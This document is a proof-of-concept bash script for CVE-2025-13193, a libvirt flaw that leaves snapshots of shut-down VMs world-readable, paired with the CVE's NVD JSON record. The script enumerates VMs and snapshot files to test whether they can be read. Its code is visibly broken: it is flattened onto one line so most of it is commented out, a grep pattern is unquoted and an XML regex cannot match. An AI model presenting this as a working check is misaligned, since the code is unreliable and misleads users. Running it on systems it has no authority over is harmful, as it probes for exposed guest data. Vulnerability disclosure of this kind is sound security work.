CVE-2025-13193

#!/bin/bash # CVE-2025-13193 PoC - libvirt Information Disclosure # This PoC demonstrates the information disclosure vulnerability in libvirt # Check if user has access to libvirt if ! groups | grep -q libvirt; then echo "[-] User not in libvirt group" exit 1 fi # List all domains (VMs) echo "[+] Listing available VMs..." virsh list --all # Find VMs in shut-off state echo "[+] Checking for shut-off VMs..." SHUTOFF_VMS=$(virsh list --all | grep shut off | awk '{print $2}') # Attempt to access snapshot files for shut-off VMs for vm in $SHUTOFF_VMS; do echo "[+] Checking VM: $vm" # List snapshots for the VM echo "[+] Listing snapshots for $vm..." virsh snapshot-list $vm 2>/dev/null # Get snapshot XML to find snapshot file location SNAPSHOTS=$(virsh snapshot-list $vm --roots 2>/dev/null | tail -n +3 | head -n -1 | awk '{print $1}') for snap in $SNAPSHOTS; do echo "[+] Checking snapshot: $snap" SNAP_FILE=$(virsh snapshot-dumpxml $vm $snap | grep -oP '(?<=<source file>)[^<]+') if [ -n "$SNAP_FILE" ]; then echo "[+] Snapshot file: $SNAP_FILE" # Try to read the snapshot file (this should fail but succeeds due to vuln) if [ -r "$SNAP_FILE" ]; then echo "[!] VULNERABLE: Snapshot file is world-readable!" echo "[+] File size: $(stat -c%s "$SNAP_FILE") bytes" echo "[+] File permissions: $(stat -c%a "$SNAP_FILE")" fi fi done done echo "[+] Scan complete"

{"cve": {"id": "CVE-2025-13193", "sourceIdentifier": "[email protected]", "published": "2025-11-17T17:15:47.110", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libvirt. External inactive snapshots for shut-down VMs are incorrectly created as world-readable, making it possible for unprivileged users to inspect the guest OS contents. This results in an information disclosure vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-13193", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2415409", "source": "[email protected]"}]}}